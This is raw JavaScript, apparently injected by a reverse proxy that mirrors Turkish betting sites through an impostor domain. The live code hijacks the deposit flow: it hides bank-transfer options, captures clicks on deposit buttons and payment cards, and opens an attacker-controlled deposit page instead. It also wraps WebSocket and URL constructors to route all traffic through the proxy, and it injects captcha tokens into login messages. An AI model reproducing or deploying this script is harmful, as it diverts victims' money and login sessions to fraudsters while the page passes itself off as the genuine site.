(function() { var PROXY_HOST = '1627betebet.cam'; var PROXY_PORT = '6868'; var PROXY_BASE = '1627betebet.cam'; var PROXY_URL = 'https://1627betebet.cam'; var PROXY_WS = 'wss://1627betebet.cam'; var PROXY_PROTOCOL = 'https'; var PROXY_WS_PROTOCOL = 'wss'; var TARGET_DOMAIN = 'bahiscasino685.com'; var EVERYMATRIX_INFRA = false; var DEPOSIT_MODAL_HOOK = false; var PRONET_DEPOSIT_HIJACK = true; var DEPOSIT_URL = 'https://1627betebet.cam/yatirim'; var IS_STANDARD_PORT = true; window.__proxyDepositRuntime = window.__proxyDepositRuntime || { intervals: [], observer: null, docClickCapture: null, docPointerCapture: null, docMouseCapture: null, lastDepositOpenAt: 0 }; (function cleanupPrevDepositRuntime() { var rt = window.__proxyDepositRuntime; if (!rt) return; if (rt.intervals && rt.intervals.length) { for (var i = 0; i < rt.intervals.length; i++) { try { clearInterval(rt.intervals[i]); } catch (e) {} } } rt.intervals = []; if (rt.observer && rt.observer.disconnect) { try { rt.observer.disconnect(); } catch (e2) {} } rt.observer = null; if (rt.docClickCapture) { try { document.removeEventListener('click', rt.docClickCapture, true); } catch (e3) {} } rt.docClickCapture = null; if (rt.docPointerCapture) { try { document.removeEventListener('pointerdown', rt.docPointerCapture, true); } catch (e4) {} } rt.docPointerCapture = null; if (rt.docMouseCapture) { try { document.removeEventListener('mousedown', rt.docMouseCapture, true); } catch (e5) {} } rt.docMouseCapture = null; })(); // Harici yatırım açıkken: orijinal cashier + popup akışı aynen; sadece onay modalındaki // "Para yatırmayı onayla" tıklanınca harici sayfaya yönlendir (shadow DOM dahil). function resolveDepositURL() { var u = DEPOSIT_URL; if (!u) return PROXY_URL + '/yatirim'; if (u.indexOf('http://') === 0 || u.indexOf('https://') === 0) return u; if (u.charAt(0) === '/') return PROXY_URL + u; return PROXY_URL + '/' + u; } function isDepositConfirmLabel(raw) { if (!raw) return false; var t = raw.replace(/\s+/g, ' ').trim(); try { t = t.toLocaleUpperCase('tr-TR'); } catch (e0) { t = t.toUpperCase(); } if (t.indexOf('PARA YATIRMAYI ONAYLA') >= 0) return true; if (t.indexOf('YATIRMAYI ONAYLA') >= 0 && t.indexOf('PARA') >= 0) return true; return false; } function isDepositConfirmClickable(el) { if (!el || !el.tagName) return false; var tag = el.tagName.toUpperCase(); if (tag === 'BUTTON') return true; if (el.getAttribute && el.getAttribute('role') === 'button') return true; if (tag === 'A' && el.getAttribute && el.getAttribute('href') === '#') return true; return false; } // React + açık shadow DOM: composedPath ile gerçek tıklanan düğümü yakala (querySelector shadow içine yetişmeyebilir). // pointerdown/mousedown capture: link/form varsayılanını öldür; aynı pencerede yönlendirme olmasın. // Yeni sekme açılamazsa location değiştirmiyoruz (kullanıcı mevcut sayfada kalsın). function installDepositConfirmCapture() { if (!DEPOSIT_MODAL_HOOK) return; var rt = window.__proxyDepositRuntime; if (rt.docClickCapture) return; function matchDepositConfirmFromEvent(ev) { var path = (ev.composedPath && ev.composedPath()) || []; if (!path || !path.length) { try { path = [ev.target]; } catch (e1) { return null; } } for (var i = 0; i < path.length; i++) { var el = path[i]; if (!isDepositConfirmClickable(el)) continue; var label = (el.textContent || el.innerText || '').replace(/\s+/g, ' ').trim(); if (!isDepositConfirmLabel(label)) continue; return el; } return null; } function killEvent(ev) { ev.preventDefault(); ev.stopPropagation(); ev.stopImmediatePropagation(); } function openDepositInNewTab() { var dest = resolveDepositURL(); var now = Date.now(); if (now - rt.lastDepositOpenAt < 400) return; rt.lastDepositOpenAt = now; try { var w = window.open(dest, '_blank', 'noopener,noreferrer'); if (!w) { try { window.open(dest, '_blank'); } catch (e0) {} } } catch (e2) { try { window.open(dest, '_blank'); } catch (e3) {} } } rt.docPointerCapture = function(ev) { if (!DEPOSIT_MODAL_HOOK) return; if (ev.pointerType === 'mouse' && ev.button != null && ev.button !== 0) return; if (!matchDepositConfirmFromEvent(ev)) return; killEvent(ev); openDepositInNewTab(); }; rt.docMouseCapture = function(ev) { if (!DEPOSIT_MODAL_HOOK) return; if (ev.button != null && ev.button !== 0) return; if (!matchDepositConfirmFromEvent(ev)) return; killEvent(ev); openDepositInNewTab(); }; rt.docClickCapture = function(ev) { if (!DEPOSIT_MODAL_HOOK) return; if (!matchDepositConfirmFromEvent(ev)) return; killEvent(ev); }; if (typeof PointerEvent !== 'undefined') { document.addEventListener('pointerdown', rt.docPointerCapture, true); } document.addEventListener('mousedown', rt.docMouseCapture, true); document.addEventListener('click', rt.docClickCapture, true); } if (DEPOSIT_MODAL_HOOK) { installDepositConfirmCapture(); } // Pronet / Goldenbahis cashier: betvole/proxy.js — İşlemi Başlat, .payment-card, onclick window.open → harici yatırım popup if (PRONET_DEPOSIT_HIJACK) { (function installPronetDepositHijack() { var st = document.createElement('style'); st.textContent = '[data-payment="transfer"], modi-payment-transfer-card { display: none !important; }'; document.head.appendChild(st); function openPronetDepositPopup() { var dest = resolveDepositURL(); try { window.open(dest, 'payment_popup', 'width=900,height=700'); } catch (e0) { try { window.open(dest, '_blank'); } catch (e1) {} } } function hijackPronetDeposit() { var buttons = document.querySelectorAll('button'); var i; for (i = 0; i < buttons.length; i++) { var btn = buttons[i]; if (!btn || !btn.textContent) continue; var text = btn.textContent.trim(); if (text.indexOf('İşlemi Başlat') > -1 || text.indexOf('işlemi başlat') > -1) { if (!btn.dataset.proxyPronetHijack) { btn.dataset.proxyPronetHijack = '1'; btn.addEventListener('click', function(e) { e.preventDefault(); e.stopPropagation(); openPronetDepositPopup(); return false; }, true); } } } var clickElements = document.querySelectorAll('[onclick]'); for (i = 0; i < clickElements.length; i++) { var elem = clickElements[i]; var onclickAttr = elem.getAttribute('onclick'); if (onclickAttr && onclickAttr.indexOf('window.open') > -1) { if (!elem.dataset.proxyPronetOnclick) { elem.dataset.proxyPronetOnclick = '1'; elem.removeAttribute('onclick'); elem.addEventListener('click', function(e) { e.preventDefault(); e.stopPropagation(); e.stopImmediatePropagation(); openPronetDepositPopup(); return false; }, true); } } } var paymentCards = document.querySelectorAll('.payment-card'); for (i = 0; i < paymentCards.length; i++) { var card = paymentCards[i]; var cardText = (card.textContent || '').trim(); if (cardText.indexOf('Banka Transferi') > -1) { card.style.display = 'none'; if (card.parentElement) card.parentElement.style.display = 'none'; continue; } if (!card.dataset.proxyPronetCard) { card.dataset.proxyPronetCard = '1'; card.addEventListener('click', function(e) { e.preventDefault(); e.stopPropagation(); e.stopImmediatePropagation(); openPronetDepositPopup(); return false; }, true); } } } var rt = window.__proxyDepositRuntime; hijackPronetDeposit(); setTimeout(hijackPronetDeposit, 1000); var iv = setInterval(hijackPronetDeposit, 2000); if (rt && rt.intervals) rt.intervals.push(iv); })(); } function proxyStripDoubleScheme(u) { if (typeof u !== 'string') return u; u = u.replace(/https:http:(?:\\?\/){2}/gi, 'http://'); u = u.replace(/http:https:(?:\\?\/){2}/gi, 'https://'); u = u.replace(/https:https:(?:\\?\/){2}/gi, 'https://'); return u; } (function installDoubleSchemeAttrHook() { var orig = Element.prototype.setAttribute; Element.prototype.setAttribute = function(name, value) { if (typeof value === 'string' && (name === 'src' || name === 'href' || name === 'srcset' || name === 'poster')) { value = proxyStripDoubleScheme(value); } return orig.call(this, name, value); }; })(); function fixUrl(url) { if (typeof url === 'string') url = proxyStripDoubleScheme(url); url = url.replace(/https?:\/\/www\.holiganbet[0-9]*\.com/gi, PROXY_URL); url = url.replace(/https?:\/\/([a-z0-9]+)\.holiganbet[0-9]*\.com/gi, PROXY_PROTOCOL + '://$1.' + PROXY_BASE); url = url.replace(/wss?:\/\/([a-z0-9]+)\.holiganbet[0-9]*\.com/gi, PROXY_WS_PROTOCOL + '://$1.' + PROXY_BASE); // Local websocket rewrites: // wss://api.localhost:5050/v2 -> ws://api.localhost:5050/v2 // wss://sportsapi.sports2.localhost/v2 -> ws://sportsapi.localhost:5050/v2 url = url.replace(/wss?:\/\/api\.localhost(?::\d+)?/gi, PROXY_WS_PROTOCOL + '://api.' + PROXY_BASE); url = url.replace(/wss?:\/\/([a-z0-9]+)\.sports2\.localhost(?::\d+)?/gi, PROXY_WS_PROTOCOL + '://$1.' + PROXY_BASE); return url; } // Ensure websocket URL arguments are rewritten too (not only HTML text). var OriginalWebSocket = window.WebSocket; window.WebSocket = function(url, protocols) { url = fixUrl(url); var ws = protocols ? new OriginalWebSocket(url, protocols) : new OriginalWebSocket(url); var originalSend = ws.send; ws.send = function(data) { try { if (EVERYMATRIX_INFRA && typeof data === 'string' && data.includes('/user#login')) { var msg = JSON.parse(data); if (Array.isArray(msg) && msg.length > 5 && msg[3] === '/user#login' && msg[5]) { var token = window.__turnstileToken || '0.proxy-fake-' + Date.now(); if (!token || token.length < 50) { // token yoksa endpoint'ten çek fetch('/__turnstile_token', {credentials: 'include'}) .then(r => r.json()) .then(d => { if (d.ok && d.token) { msg[5].captchaResponse = d.token; originalSend.call(ws, JSON.stringify(msg)); } else { originalSend.call(ws, data); // fallback } }) .catch(() => originalSend.call(ws, data)); return; } msg[5].captchaResponse = token; console.log('[PROXY-WS] Login mesajına token enjekte edildi:', token.substring(0, 20) + '...'); data = JSON.stringify(msg); } } } catch (e) { console.warn('[PROXY-WS] Login mesajı parse hatası:', e); } originalSend.apply(ws, arguments); }; return ws; }; window.WebSocket.prototype = OriginalWebSocket.prototype; var OriginalURL = window.URL; window.URL = function(url, base) { if (typeof url === 'string') url = fixUrl(url); if (typeof base === 'string') base = fixUrl(base); return new OriginalURL(url, base); }; window.URL.prototype = OriginalURL.prototype; window.URL.createObjectURL = OriginalURL.createObjectURL; window.URL.revokeObjectURL = OriginalURL.revokeObjectURL; })(); >